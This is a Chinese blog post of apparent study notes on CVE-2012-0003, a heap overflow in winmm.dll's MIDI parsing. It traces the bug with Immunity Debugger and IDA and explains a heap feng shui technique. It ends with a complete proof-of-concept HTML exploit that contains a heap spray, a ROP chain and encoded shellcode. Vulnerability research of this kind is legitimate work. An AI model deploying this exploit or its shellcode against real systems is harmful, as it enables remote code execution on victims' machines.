《漏洞战争》-CVE-2012-0003
综述
本漏洞来源于winmm.dll模块处理MIDI格式文件的过程中,winmm模块中的midiOutPlayNextPolyEvent函数在处理带有畸形数据的MIDI文件时,可能会造成对指定堆块之外的内存的访问与写入,从而产生堆溢出漏洞。该漏洞的利用过程十分精妙,通过申请连续的堆空间并间隔释放,将被溢出的堆块前后均使用指定的数据格式填充,并通过向该数据格式溢出1字节的数据,结合堆喷射,完成任意代码的执行。
实验环境
Winxp sp3
Microsoft Windows Media Player 版本9.0.0.4503
IE6
Immdbg 1.85
Winmm.dll 版本5.1.2600.5512
漏洞分析
关于MIDI文件格式的解析可以查看《漏洞战争》一书,这里不再赘述。
使用010editor分析触发漏洞的test_case.mid文件,文件中的0x9fb273代表一个打开音符(NoteOn)的事件,根据之后的分析,正是该数据中的0xb2造成了堆溢出。
为ie浏览器进程开启堆页调试,方便在溢出发生点及时断下。
分析书中提供资料的poc目录。
分析poc.html文件,发现其将同目录下的toto.mid加载到浏览器,推测利用toto.mid中的数据触发漏洞。
使用immdbg加载ie6,并且打开poc.html,允许ActiveX执行之后,程序断在如下指令处,与书中情况一致(如果使用od加载ie6,程序断在的位置与书中不同,具体原因还不清楚)。
此时esi为,此地址不可读,所以造成访问异常。
根据此时的栈中数据,发现出现异常的指令位于以下函数中
根据书中信息该函数为midiOutPlayNextPolyEvent,在ida中打开存在漏洞的winmm.dll文件,找到函数sub76b2d038,定位到崩溃点位于v26=*v25,而v25来自于v24和v20。
继续分析v20最终来源于参数1。
void __stdcall sub_76B2D038(int a1)
^
v1 = a1;
^
v20 = *(_DWORD *)(v1 + 132);
而v24来源如下图所示(与书上分析的情况一致,详细图表可见书113页)。
v1 = a1
^
v2 = *(_DWORD *)(v1 + 60);
^
v9 = *(_DWORD *)(v2 + 36); v9 += 4; v1 = a1;
^ ^
v11 = *(_DWORD *)(v9 + v37); > v37 = *(_DWORD *)v2; > v2 = *(_DWORD *)(v1 + 60);
^
v13 = v11 & 0xFFFFFF;
^
v40 = v13或v40 = BYTE1(v13);
^
v23 = v40 + ((v21 & 0xF) << 7); > v21 = *(_BYTE *)(v1 + 84); 或 v21 = v13;
^
v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;
对函数参数、v2、v9、v11、v13、v21设置条件记录断点。
设置条件断点时 winmm.dll只有在poc被打开后才加载,所以该模块中之前设置的断点会失效,所以需要让winmm模块在漏洞函数被触发前被加载,或者对ie进程设置条件断点,当加载winmm模块时断下,然后设置条件记录断点,本处采取第二种方法。
在LoadLibraryA处下断点,当ie加载winmm模块时断下。
设置条件记录断点。
所有条件记录断点如下。需要注意的是书中是直接在指定变量赋值指令处下条件记录断点,此处是在赋值指令的下一条指令处下条件记录断点。
条件记录断点设置完成后,f9继续运行,会遇到程序抛出异常,通过shift+f9忽略异常继续执行,最终得到如下日志信息。
为了测试immdbg中条件记录断点是先将指令执行完成后,然后进行记录,还是先断下,然后记录,之后再执行,故进行以下测试。
经过测试发现immdbg中应该是先断下,然后记录,之后再执行,所以如果一条指令将指定变量的值赋值给指定寄存器,需要在该指令下一条指令的地方设置条件记录断点,以记录指定变量(寄存器)的值。
通过书中的内容结合日志信息,可以知道程序是在处理Note on(0x9f)事件的过程中发生的崩溃,则目前的思路是在程序处理Note on(9f)事件的时候将程序断下,分析崩溃的原因。
设置条件断点,当v11变量为0x7db29f时将程序断下。
继续执行,此时eax为0x419。
触发异常。
漏洞产生于程序处理NoteOn事件时,漏洞函数将NoteOn事件中的参数B2进行计算,计算结果0x419作为0x7a98c00的偏移进行寻址,从而造成异常的内存访问。
而esi的值0x7a98c00来源于哪里?通过ida的分析发现esi的值对应的是变量v20。
之前分析过v20的来源。
void __stdcall sub_76B2D038(int a1)
v1 = a1;
v20 = *(_DWORD *)(v1 + 132);
发现v20最来源于漏洞函数的参数a1,则分析上层函数对漏洞函数的调用。
经过分析漏洞函数的上层函数为sub_76b2d296,该函数中调用sub_76b2d038的参数来源于dword_76b316f4。
通过交叉引用,发现dword_76b316f4在函数sub_76b2cdaa中被引用。
在函数sub_76b2cdaa中dword_76b316f4被赋值。
追溯变量v7的来源。
综上变量传递过程如下。
*(DWORD*)(V7+132)=V8
dword_76B316F4 = v7
v6 = dword_76B316F4
sub_76B2D038(v6)
v1 = a1;(a1即上一句中的v6)
v20 = *(_DWORD *)(v1 + 132);
所以v20= *(_DWORD *)(v1 + 132)= *(DWORD*)(V7+132)=V8
而v8是函数的返回值sub_76B2B29D(1024);,进入该函数可以发现,该函数用于申请1024(0x400)个字节的内存空间,而v8即为所申请的内存空间的首地址。
因而v20即为0x400字节大小的内存空间的首地址,而在漏洞出触发过程中,该地址加上0x419(由触发漏洞的NoteOn事件的相关参数计算得到)作为内存地址寻址内存空间,由于申请的内存空间仅有0x400字节,所以访问到异常地址,产生异常。
漏洞利用
如果要理解本漏洞的利用过程,需要弄清一个前提。
如上图,在漏洞触发的位置1,如果将esi的值改为一个可读可写的内存的地址,则程序会继续执行,而在位置2,会将在1处取得的一个字节数据自增1,然后再指令3处将该值写回其原本的位置,之后漏洞利用建立在程序的这一前提之上。
分析漏洞战争随书提供的资料(详见poc1),可以发现poc中利用除了堆喷射,漏洞利用的关键点在于构造一种select类的元素selob,该元素中设置了64个属性,其中只有第二个属性w1是字符串类型的,字符串对应的unicode为%u1be4%u0c0c,疑似用于寻址被堆喷射的覆盖的内存。
之后创建一个大小为1000的数组clones,利用selob的cloneNode方法将selob元素循环复制到数组中,之后再将数组中的selob元素间隔释放。
为何要进行这样的内存布置呢?根据书上的分析,当进行html中的元素复制的时候,会使用到CElement::Clone函数,该函数位于解析html文件的IE模块msthml.dll中,CElement::Clone函数内部会调用CAttrArray::Clone函数用于复制select类元素的属性,后者会为每一个元素属性申请0x10个字节的内存空间,具体过程如下:
通过加载符号文件,在IDA中定位到CElement::Clone函数及其内部调用的CAttrArray::Clone函数。
CAttrArray::Clone函数中为select类元素的属性申请内存空间。
之前构造的select类元素selob一共有0x40(64)个属性,则每个selob元素会占用0x10*0x40=0x400字节的内存空间(与造成堆溢出的内存空间大小相等),该大小的内存空间被同时大批量申请并被间隔释放,其目的很显然是使之前讨论的sub_76B2B29D函数在申请0x400字节的堆空间时占用被间隔释放的堆空间,那么这么做的目的是什么呢?
当被溢出的0x400字节堆空间后面紧跟selob元素时,导致异常的指令会访问溢出堆空间首地址+0x419的内存,从而访问到selob元素的内存空间,具体来说就会访问到从selob元素起始地址开始偏移0x19的内存空间,selob元素中有64个属性,每个属性占据0x10大小的内存空间,而0x19偏移访问到的正好是selob元素中第二个属性的内存首地址,该属性就是之前提到的,selob元素中唯一一个string类型的属性。而根据selob元素中属性的内存分布,表示属性的类型的数据就在属性数据的开头,所以异常指令 mov al,[esi]取得的就是selob元素中第二个属性的表示属性的类型的一字节数据。
内存中0x08表示String类型的属性,0x09表示Object类型的属性,而异常指令之后的操作会将取出的0x08自增1后写回内存空间中,此时selob元素的第二个属性的类型就变成了Object类型,因此只要在现存的selob元素中搜索第二个属性为Object类型的元素,就可以定位到因为堆溢出而被修改的那个selob元素,如果此时调用该元素第二个属性对应的方法(即clones[k].w1('come on!');),就可以将string属性的字符串数据(即"%u1be4%u0c0c")当作虚表指针进行引用,从而劫持程序执行流程。
在实际实验中发现异常指令取出的一字节数据不是0x8,故需要记录越界访问的内存的内存首地址、被申请的select元素的首地址,被释放的select元素的首地址,从而观察被越界访问的内存被分配到被释放的select元素的内存位置。
被申请的select元素的首地址。
被释放的select元素的首地址。
被越界访问的内存的首地址。
在以上三个位置设置条件记录断点。
运行过程中会报异常,使用shift+f9忽略异常继续执行。
通过日志可以看到被越界访问的内存占用了select元素释放的内存,且该内存前后均被select元素占用。
程序在异常指令处断下,指令执行情况和内存情况如下图,此时esi并不指向0x8,根据日志信息观察内存可知,VulBuffer与select元素之间存在其他内存内容,这会导致漏洞利用失败。
按f9继续执行。
此时因为VulBuffer的内存首地址为0x22f340,此时eax为0x419,所以esi为两者之和为0x22F759,即异常指令开始访问VulBuffer内存范围之后0x19位置的内存。
此时取出的一字节数据为0x55,而不是0x8。
按f9继续执行,此时的寄存器值与第一次断在异常指令处相同,之后让程序继续执行程序也无法正确修改select元素的属性。
进行第二次测试调试,内存分配情况如下。
程序第一次在异常指令处断下时。
第二次在异常指令处断下,是准备读取VulBuffer内存之后0x19字节的数据,仍然无法正确读取属性数据。
比较两次测试中堆内存的布置。
第一次。
第二次。
经过两次对比发现VulBuffer与Select元素之间偏移是一定的,如果能够重新计算异常指令执行时访问内存的偏移就可以修改指定一字节内容。
经过之前的分析可以知道,内存访问的偏移可以通过修改NoteOn事件的参数b2进行控制
通过分析cve-2012-0003-ie6.html文件可知,其通过加载同目录的test_case.mid文件触发漏洞,所以通过修改test_case.mid文件中NoteOne事件中的参数可以影响最终内存访问的偏移。
回顾之前偏移的计算公式。
根据之前分析的内存布局,如果想要访问到select元素的String属性,需要从VulBuffer最后向后偏移10*16+9=169=0xa9,则原来的0x419就必须为0x4a9,向上逆推原来的0x832必须为0x952,原来的0xb2必须为0x1d2,此时该数据超过1个字节,无法修改test_case.mid文件。
即使将select元素的第一个属性修改为String类型,从而减少偏移所需的字节数,经过计算也需要0xb2被修改为0x1b2,仍然超过一个字节。
目前漏洞利用陷入僵局。
推测VulBuffer与select元素之间的内存内容和以调试方式打开ie浏览器相关,后者会导致进程中的堆为调试状态的堆,而不是正常堆。
附加ie进程进行调试,发现仍然存在之前的问题。
尝试将cve-2012-0003-ie6.htm文件中的payload修改为弹出计算器的代码,然后不调试直接在ie6中运行,测试是否能正常漏洞利用,发现漏洞无法正常漏洞利用,说明VulBuffer与select元素之间的内存内容可能不是调试堆的结构导致的。
总结之前的内容,《漏洞战争》一书中设置test_case.mid文件中的NoteOn事件中的参数b2,从而获得机会访问VulBuffer内存后偏移0x19的位置,但是此时漏洞利用的阻碍产生于VulBuffer与select元素之间存在大量的其他内存内容,导致select元素的String属性不能被正确修改。
我们提出了推测:VulBuffer与select元素之间内存内容可能由于调试堆结构产生的,并修改exploit中的payload硬编码(设置为弹出计算器,从而观察漏洞是否利用成功),将exploit直接在ie6中直接运行,从而避免调试堆的问题,但是仍然不能成功利用。
那么先暂时忽略这个问题,如果VulBuffer与select元素之间的内存内容不存在,那么如果要修改select元素中的String属性,需要从VulBuffer内存之后偏移多少?通过观察,select元素中的String属性距离select元素首地址偏移8+16+9=33=0x21,(此时未加select元素所在堆块8字节的堆头,后面的分析中会进行更正)。
则原来的0x419就必须为0x421,向上逆推原来的0x832必须为0x842,原来的0xb2必须为0xc2,此时以此修改文件test_case.mid。
经过多次调试发现有时VulBuffer与select元素会紧密相邻,此时需要被修改的内存属性距离VulBuffer的偏移较短,可以进行利用。
此时0x421偏移使得esi为0x028bbaa9,但是仍然不不足以访问String属性的内存,还需要向后移动8个字节,推测该8字节数据为select元素所占堆块的堆头,所以String属性距离select元素首地址偏移应为0x21+0x8=0x29,此时将esi强行改成0x028bbab1,测试能否成功利用漏洞。
取地String属性的内存数据0x8。
String类型对应内存被修改。
继续f9运行,成功弹出计算器!。
在以上情况下,String属性对应的内存偏移为16*2+9=41=0x29 –》0x429—》0x852-》0xd2
所以将test_case.mid对应内容修改为0xd2。
然后调试断下发现指令的确被修改为访问VulbBuffer内存首地址后之0x429字节的内容,但是此时VulBuffer与select元素之间多出来的内存内容仍然存在,使得漏洞利用失败,推测这就是书中说的该exp在winxp sp2/sp3+ie6环境下不能100%利用成功的情况,仅仅当下图中VulBuffer与select元素之间的内存内容不存在时,漏洞才能成功利用。而该内存内容的具体含义仍然不清楚,推测可能与笔者测试环境相关。
poc1
<html> <head> <script language='javascript'> var chunk_size, payload, nopsled; chunk_size = 0x100000; payload = unescape("%u7f98%u7c34%ub4c2%u76c9%u1441%ufe97%u6402%u7c37%u6402%u7c37%u7f97%u7c34%uf800%uffff%u1e05%u7c35%u4901%u7c35%uffff%uffff%u5255%u7c34%u2174%u7c35%u4f87%u7c34%uffc0%uffff%u1eb1%u7c35%ud201%u7c34%ub001%u7c38%ub8d7%u7c34%u7f98%u7c34%u4802%u7c36%u15a2%u7c34%u7f97%u7c34%ua151%u7c37%u8c81%u7c37%u5c30%u7c34%uf618%u37eb%ubbb8%u0a77%uc7fe%ue2c1%u0073%u7fe1%u7047%u931c%u0390%u75d6%u252f%ub44f%u7124%ub14b%u0478%u86a9%uc0ff%u41e0%u66a8%ub340%uf981%u96b9%u1d14%ue33a%uf523%u7b97%u7642%ub62d%uba27%u6798%ud433%uf809%ud510%u88b0%u9ffc%u0c4e%u437c%ub58d%u929b%u0248%u15fd%u057d%ub4bf%u72b7%u3c7c%u3d2c%u7541%u350d%ue030%u254e%u4a96%u0498%u7e47%ud008%u67e1%uf619%ub8d4%ufc39%u9b66%ue384%u4378%u76ba%u027b%u0aeb%u89d5%u4bd6%u1d74%u92b0%ub18d%u7f73%u2b77%ub2f5%u9327%u7924%u9940%uf90b%u8514%u1cfd%ub60c%u2db5%u202f%u46f8%u38a9%u42e2%u7034%ubb3f%ub9bf%u9091%u4f48%u3749%u97be%ub39f%u7a71%u1505%u29a8%u13e1%ubbfc%u7698%ud423%u2579%u3fb9%u347c%u9197%u3c1d%ub093%u428d%u0004%u9ff9%u1073%u48f5%u774e%ub467%u4775%u4a7e%u3505%ub1b6%ud180%u7be3%u1446%u2f71%u15b2%u70bf%u4b37%ua841%ub32c%u90be%u874f%uc1c7%u7fe2%u330d%u99fd%u27a9%ud532%u9643%u7274%u117a%u21e0%uebf7%u7840%u9b0c%u3d92%ub7b5%u667d%u492d%ub8ba%ud68c%uf812%u1c24%ub0ba%u677d%u2fb7%u4a42%u774e%u2204%u7eeb%u7515%ub44f%u9837%ua993%u30a8%u2de0%u81b3%u7cd6%u0574%u4373%u49b9%u9024%u712c%ue231%u9225%u14b2%u1d9f%u0899%u0cf8%ub53c%ud33b%u47e3%u2827%u7bfc%u6640%u359b%u1ab6%u83f5%u1be1%ubff9%u7096%ubb3f%u4676%ub1be%u7f3d%ud518%u417a%u6978%u97d4%u1c91%u880d%u34fd%u8d4b%u72b8%u7079%u7772%u787d%ua848%u91b1%u0967%u25e1%u7f7a%u9234%u7eb3%ub235%ubab9%u71a9%u0375%ubef5%u154f%u4a37%ufc6b%u868d%uc6ff%ufdc0%u244b%ub7bb%ub59f%u7604%ue22a%u4746%u9793%u7398%u743c%u3d14%ud23a%ub0d4%ud569%u43bf%u9049%u2d2c%u7c27%ub80c%u0542%u7996%u9b66%u013f%u4ee0%ue338%u3948%u1cf9%u0d1d%u7bb4%u2940%ub6f8%u8641%u2feb%u0899%u2ad6%u7de1%u7f76%u8c3d%ud3d2%u3cd6%u749b%ufc13%u8dbb%u667b%u1d93%u87b5%ue0f7%u7748%uf820%ud403%u73b9%u1434%ufd32%u09b3%u7ce2%uf56b%u274b%ub296%uba98%u4679%u2f97%u7eb4%ube67%u70b8%u912c%u4090%u7ab1%u2d75%u0d72%ua825%u9243%uf989%u9f35%u31b6%u41eb%u0cbf%u3f47%u1804%u49e3%u0599%u244f%ub0b7%u1ca9%u3778%uf633%u4ad5%u4e15%u7142%u4275%u66b3%ub2ba%u8467%u93f5%u49b8%u798d%ue301%u7f78%u0d2f%u9ba8%u831d%u12e1%u43e0%ua915%u9791%ud585%u713c%u7e4b%ube2d%u3f24%ud10a%uc1fe%ubbf8%u0b14%u96d6%u044a%ueb19%u2c73%u7776%u4e34%u7d72%uf91a%ub1b6%ud030%u48d4%u7a25%ub746%u0290%u10fd%u7ce2%u4740%ubf99%u7074%u353d%u7bb0%u9f1c%u4f92%u3771%u7598%ufc3a%u0c7c%u70b9%u7f27%ub441%u73b5%u7805%ud61b%u217a%u41e0%u7490%u9637%u7998%uf800%u047d%ue381%u672d%ub73f%uc011%u3deb%u918d%u4205%u7724%u8025%ub6fc%u4a9b%ud53b%u2772%u2cb3%u9940%u7634%ufd28%u4b3c%u1c7e%u4666%ue2b4%u4f14%u4e43%u88bb%u0de1%ua89f%uba92%ubfb0%u97a9%u2248%ub1d4%ub947%u0c7b%u35be%u23b5%u2ff9%u151d%u93b8%u2bb2%u49f5%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063"); nopsled = unescape("%u0c0c%u0c0c"); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 0x100 ; i++) heap_chunks[i] = nopsled + payload; </script> <script language='javascript'> var selob = document.createElement("select") selob.w0 = alert selob.w1 = unescape("%u1be4%u0c0c") selob.w2 = alert selob.w3 = alert selob.w4 = alert selob.w5 = alert selob.w6 = alert selob.w7 = alert selob.w8 = alert selob.w9 = alert selob.w10 = alert selob.w11 = alert selob.w12 = alert selob.w13 = alert selob.w14 = alert selob.w15 = alert selob.w16 = alert selob.w17 = alert selob.w18 = alert selob.w19 = alert selob.w20 = alert selob.w21 = alert selob.w22 = alert selob.w23 = alert selob.w24 = alert selob.w25 = alert selob.w26 = alert selob.w27 = alert selob.w28 = alert selob.w29 = alert selob.w30 = alert selob.w31 = alert selob.w32 = alert selob.w33 = alert selob.w34 = alert selob.w35 = alert selob.w36 = alert selob.w37 = alert selob.w38 = alert selob.w39 = alert selob.w40 = alert selob.w41 = alert selob.w42 = alert selob.w43 = alert selob.w44 = alert selob.w45 = alert selob.w46 = alert selob.w47 = alert selob.w48 = alert selob.w49 = alert selob.w50 = alert selob.w51 = alert selob.w52 = alert selob.w53 = alert selob.w54 = alert selob.w55 = alert selob.w56 = alert selob.w57 = alert selob.w58 = alert selob.w59 = alert selob.w60 = alert selob.w61 = alert selob.w62 = alert selob.w63 = alert var clones=new Array(1000); function feng_shui() { var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui(); function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w1) == "string") { } else { clones[k].w1('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } </script> <script for=audio event=PlayStateChange(oldState,newState)> if (oldState == 3 && newState == 0) { trigger(); } </script> </head> <body> <object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95"> <param name="fileName" value="test_case.mid"> <param name="SendPlayStateChangeEvents" value="true"> <param NAME="AutoStart" value="True"> <param name="uiMode" value="mini"> <param name="Volume" value="-300"> </object> </body> </html>
posted on 2019-11-05 16:02 sdfsdfdvsd 阅读(1128) 评论(0) 编辑 收藏 举报